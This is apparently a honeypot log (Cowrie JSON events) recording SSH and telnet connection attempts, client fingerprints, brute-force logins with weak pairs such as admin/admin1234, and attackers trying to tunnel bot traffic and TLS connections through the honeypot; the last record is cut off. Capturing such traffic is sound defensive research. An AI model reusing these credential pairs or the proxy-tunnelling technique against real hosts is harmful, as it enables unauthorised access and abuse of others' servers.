{"eventid":"cowrie.session.closed","duration":46.33258819580078,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:27.737243Z","src_ip":"128.199.8.54","session":"3fe9311f2f13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"camille","password":"camille","message":"login attempt [camille/camille] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:28.377316Z","src_ip":"91.92.40.36","session":"ebf979dd0c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51296,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ce0d09ffad4","protocol":"telnet","message":"New connection: 172.81.62.90:51296 (159.203.135.109:23) [session: 8ce0d09ffad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:28.730445Z"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:29.763313Z","src_ip":"91.92.40.36","session":"ebf979dd0c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56916,"dst_ip":"159.203.135.109","dst_port":23,"session":"495b446d32c7","protocol":"telnet","message":"New connection: 128.199.8.54:56916 (159.203.135.109:23) [session: 495b446d32c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:30.478123Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30568,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf9ad7244f0","protocol":"ssh","message":"New connection: 91.92.40.36:30568 (159.203.135.109:22) [session: dcf9ad7244f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:35.278626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:35.282980Z","src_ip":"91.92.40.36","session":"dcf9ad7244f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:36.960334Z","src_ip":"91.92.40.36","session":"dcf9ad7244f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.77163076400757,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:37.315061Z","src_ip":"128.199.8.54","session":"77f5e0db9631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":58718,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb655ee4afad","protocol":"ssh","message":"New connection: 23.148.145.132:58718 (10.17.0.5:22) [session: cb655ee4afad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:37.799790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:37.804016Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:37.872547Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:39.997128Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39196,"dst_ip":"159.203.135.109","dst_port":22,"session":"814e51263338","protocol":"ssh","message":"New connection: 91.92.40.36:39196 (159.203.135.109:22) [session: 814e51263338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:41.635032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:42.444700Z","src_ip":"91.92.40.36","session":"814e51263338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:42.448371Z","src_ip":"91.92.40.36","session":"814e51263338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59145,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f0fc2b088d","protocol":"ssh","message":"New connection: 113.164.152.20:59145 (10.17.0.5:22) [session: 63f0fc2b088d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:43.530087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:43.535459Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:43.554636Z","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:43.568208Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZE1uZEIqbDJGZDZwYUlPaQ%3D%3DoXzco%2FOvN59MkkBcXc70NQepE4TYW7cyXsjozKo0x29L9BHzmqDz77w%2FUSqDsA%2FQ7XWxq8ZyvGMK4PXNlgMsvbiR4Y80v4bwWJH6f5L2g8SCBopfvUAuq7HYjBD8uSUZ4vWqTsxJmFXXK6DWzMF770rDjoR310vylExOFqmnw8tSlbqQ0FcQ%2B4Nz1ICPESKGxfodT1gHdAj6Zr2PEQUNdBwp%2B6qDICr8%2FLv4KyYul5hcQ9kvG%2FbkdLOdF7yV0oUCOcihWzD89ADecqvW1SVLpMKHehzO3MFmxj23Yq2lk46URPjDbSC5kM%2F0d4Ogb5tlnOyHhN0tSvccAXapd%2BMZCzIpQXMTT%2F%2Ffk3bI7WverfT2MuVCKMYsKG3AxldvWB71MTK4Pu3EIAiAHnMpNubptyQArvp8SNjh23RYQOTG2JREqNq9B%2BIWhib%2F7MWKs23JfxlIB4jE8gwLp45cMJLMcbRwXGj7LaUAFXgl%2Fh9H7%2FzOnunnCDO5IWXdWD1zEKGCNb1DF9ohMW8XGmj8IOo%2BVbdzL83DZbLdUftr2yhv%2Fdqxgy2ezeAoccRZabn08WXxy3QitR%2BuUSZgm2d4ZuPwUkeZmpBoPnwC%2Bj52%2FM0srruIvApIaZ%2BiM%2By5ZI0WicmPYjpe2ehqcREStZbNZX985m7aQhFlXq9cornKQgu3aMxptI5D3YJvbrLG8aeXe2DhFMNStSM6wiHVbIyAmdDhsuiHzQd4MJKgcC6LyiuoxBp2024nM1rsrQ%2BgX6QLw5lcB06Yiq7IZ4XwjsD4TCj6H%2B5AwMw%2B%2FWkCf%2BjvTmAiEvai%2FkBPsPJHDEGjKMbY3By4cqlYqKuepbbuXu%2FodRFq0Z4Lct2sxqaX2uWPfBIY64us3COPHlEOIt7m4VmmO91Pc9oUpdgjKcDcHGfNffrspQ5IR925Wd4rs7UJczHb%2FMsB20gMBes1Mzm3vgrCax5alCoBcbq4AEJelcLs4a9E7yKkD5an08sDh07MeZLoV%2BMen9Z%2Ft4ch4cThfUft0wVNfsceQ%2B9GR1mPiT3Jg8SrsQWNOOj1dsyZQE1CQrLI1ka67eWvWAqBIdUNz4JZEk2Q'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZE1uZEIqbDJGZDZwYUlPaQ%3D%3DoXzco%2FOvN59MkkBcXc70NQepE4TYW7cyXsjozKo0x29L9BHzmqDz77w%2FUSqDsA%2FQ7XWxq8ZyvGMK4PXNlgMsvbiR4Y80v4bwWJH6f5L2g8SCBopfvUAuq7HYjBD8uSUZ4vWqTsxJmFXXK6DWzMF770rDjoR310vylExOFqmnw8tSlbqQ0FcQ%2B4Nz1ICPESKGxfodT1gHdAj6Zr2PEQUNdBwp%2B6qDICr8%2FLv4KyYul5hcQ9kvG%2FbkdLOdF7yV0oUCOcihWzD89ADecqvW1SVLpMKHehzO3MFmxj23Yq2lk46URPjDbSC5kM%2F0d4Ogb5tlnOyHhN0tSvccAXapd%2BMZCzIpQXMTT%2F%2Ffk3bI7WverfT2MuVCKMYsKG3AxldvWB71MTK4Pu3EIAiAHnMpNubptyQArvp8SNjh23RYQOTG2JREqNq9B%2BIWhib%2F7MWKs23JfxlIB4jE8gwLp45cMJLMcbRwXGj7LaUAFXgl%2Fh9H7%2FzOnunnCDO5IWXdWD1zEKGCNb1DF9ohMW8XGmj8IOo%2BVbdzL83DZbLdUftr2yhv%2Fdqxgy2ezeAoccRZabn08WXxy3QitR%2BuUSZgm2d4ZuPwUkeZmpBoPnwC%2Bj52%2FM0srruIvApIaZ%2BiM%2By5ZI0WicmPYjpe2ehqcREStZbNZX985m7aQhFlXq9cornKQgu3aMxptI5D3YJvbrLG8aeXe2DhFMNStSM6wiHVbIyAmdDhsuiHzQd4MJKgcC6LyiuoxBp2024nM1rsrQ%2BgX6QLw5lcB06Yiq7IZ4XwjsD4TCj6H%2B5AwMw%2B%2FWkCf%2BjvTmAiEvai%2FkBPsPJHDEGjKMbY3By4cqlYqKuepbbuXu%2FodRFq0Z4Lct2sxqaX2uWPfBIY64us3COPHlEOIt7m4VmmO91Pc9oUpdgjKcDcHGfNffrspQ5IR925Wd4rs7UJczHb%2FMsB20gMBes1Mzm3vgrCax5alCoBcbq4AEJelcLs4a9E7yKkD5an08sDh07MeZLoV%2BMen9Z%2Ft4ch4cThfUft0wVNfsceQ%2B9GR1mPiT3Jg8SrsQWNOOj1dsyZQE1CQrLI1ka67eWvWAqBIdUNz4JZEk2Q'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:43.571361Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:43.817256Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:45.065181Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:45.618047Z","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:45.699900Z","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.013308Z","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.026634Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\x8caJ\\x84\\x88\\x87K+CU\\xf0\\xdf^\\xaa`\\xd0a\\xb2\\x8b\\x1b\\xab(\\xd3+\\xe79\\r0\\xda-\\xb9 X\\xbb\"\\x1dQ\\x84\\xe2\\xa6\\xe4\\x03\\xdft%\\xe8\\xa4\\'\\xbdT\\x9f\\x1d\\x9ehA<\\x9a\\x88\\x97\\x81C\\xa1U1\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 3\\xf2\\xef=EJ\\xde\\xc6\\xc3\\'\\xce\\xcf`t\\x91o\\xb2~\\xe5\\xc8\\xf1v\\xecT\\x15\"\\xf2\\xd0R\\xf0\\xa2-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\x8caJ\\x84\\x88\\x87K+CU\\xf0\\xdf^\\xaa`\\xd0a\\xb2\\x8b\\x1b\\xab(\\xd3+\\xe79\\r0\\xda-\\xb9 X\\xbb\"\\x1dQ\\x84\\xe2\\xa6\\xe4\\x03\\xdft%\\xe8\\xa4\\'\\xbdT\\x9f\\x1d\\x9ehA<\\x9a\\x88\\x97\\x81C\\xa1U1\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 3\\xf2\\xef=EJ\\xde\\xc6\\xc3\\'\\xce\\xcf`t\\x91o\\xb2~\\xe5\\xc8\\xf1v\\xecT\\x15\"\\xf2\\xd0R\\xf0\\xa2-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\